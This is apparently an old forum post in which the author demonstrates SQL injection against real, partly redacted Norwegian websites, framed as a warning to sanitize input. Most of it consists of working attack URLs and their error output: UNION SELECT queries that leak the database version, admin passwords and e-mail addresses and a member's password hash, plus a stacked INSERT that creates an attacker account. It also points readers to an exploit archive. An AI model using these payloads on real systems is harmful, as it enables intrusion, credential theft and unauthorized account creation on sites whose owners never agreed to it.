I can show you a couple of real examples:
You put this into your web browesr:
http://***.no/?what=31%20union%20all%20select%20@@version,1,2/*
and in return you get this message:
Warning: main(4.1.22-standard-log) [function.main]: failed to open stream: No such
file or directory in /home/1/m/***/index.php on line 78
Now this just got me the database and its version. Usefull information for a hacker. Then I notice they are running open source forum. I download the forum and check out the available tables (this can also be retrieved by other means such as further exploiting the error messages). The following query is a result of exploiting error messages to the point where Ive revealed alot of the information in the table Im querying against:
http://***.no/html/inc2/Games/quiz/login.asp?brukernavn=Admin' UNION SELECT
id,passord,epost,'a','a','a','a','a','a',20,20 FROM AdminTable ORDER BY 11--
Once you know a variable which you can exploit for SQL injection you can then start building queries like this:
http://xxx.no/html/inc2/xxx/xxx/login.asp?brukernavn=Admin'; insert into xxx
values('NorHacks','attacker2@gmail.com','foobar',9000,9000,0,0,1,1,2)--
Wow! I just created me a user...
http://xxx.no/?what=31%20union%20select%20converge_pass_hash,converge_pass_hash,
3%20from%20ibf_members_converge%20where%20converge_id%20=%201/*
Warning: main() [function.include]: Failed opening 'b42707056fbb201c9345d1c80a8fc7db' for inclusion (include_path='.:/usr/local/lib/php') in /home/1/m/xxx/index.php on line 78
Now I got the md5 hash of the password + salt ... Im sure you get the point! Santize your data.
You can read more about SQL injection papers at sites like www.milw0rm.com